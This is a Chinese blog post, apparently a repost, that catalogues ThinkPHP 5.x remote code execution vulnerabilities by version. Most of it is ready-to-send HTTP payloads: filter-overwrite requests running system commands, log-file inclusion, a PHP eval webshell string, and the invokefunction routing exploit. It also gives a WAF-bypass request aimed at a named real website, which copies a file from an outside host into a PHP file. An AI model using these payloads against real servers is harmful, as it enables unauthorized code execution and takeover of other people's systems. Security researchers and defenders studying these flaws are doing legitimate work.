thinkphp5.x系列 RCE总结

本文详细解析了ThinkPHP框架中两种常见的远程代码执行(RCE)漏洞,包括Request变量覆盖导致的RCE及路由控制不严谨引起的RCE。针对不同版本,提供了具体的攻击条件和payload,同时涉及了5.0.0至5.0.23及5.1.31以下版本的漏洞利用方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Thinkphp  MVC开发模式

执行流程:

首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库

 

主要有俩种方法,1.Request中的变量覆盖导致RCE  2.路由控制不严谨导致的RCE

 

1.Request中的变量覆盖导致RCE

版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

 

5.0.0-5.0.12
payload:

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

5.1版本,需设置error_reporting(0);

POST /tp5132/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 28

c=system&f=id&_method=filter
利用文件包含

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
利用其他变量传参

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

2.路由控制不严谨导致的RCE   

v5.0.23及v5.1.31以下版本

 

 

 

index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


https://xz.aliyun.com/t/3570 thinkphp win 和linux 的区别

https://www.butian.net/4e5e5d7364f443e28fbf0d3ae744a59a
thinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET

绕宝塔 -主要还是函数和正则上的绕过
http://yishangtv.com/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

还有一种思路 利用\think\ 类库的 方法
做文件包含,把马内容写到log

 

 

关于第一种方法,在基于tp5开发的cms 复现

mipcms 最新版本。debug 需要打开

 

url : http://127.0.0.1/ms/?s=index

payload:

c=assert&f=phpinfo()&_method=filter

 

 

关于第二种方法,在基于tp5开发的cms 复现 Powered by qibosoft X1.0 Beta Code ©2003-2018

http://127.0.0.1/x1(1)/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

 

 

转载于:https://www.cnblogs.com/0xdd/p/10848746.html

ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE)漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值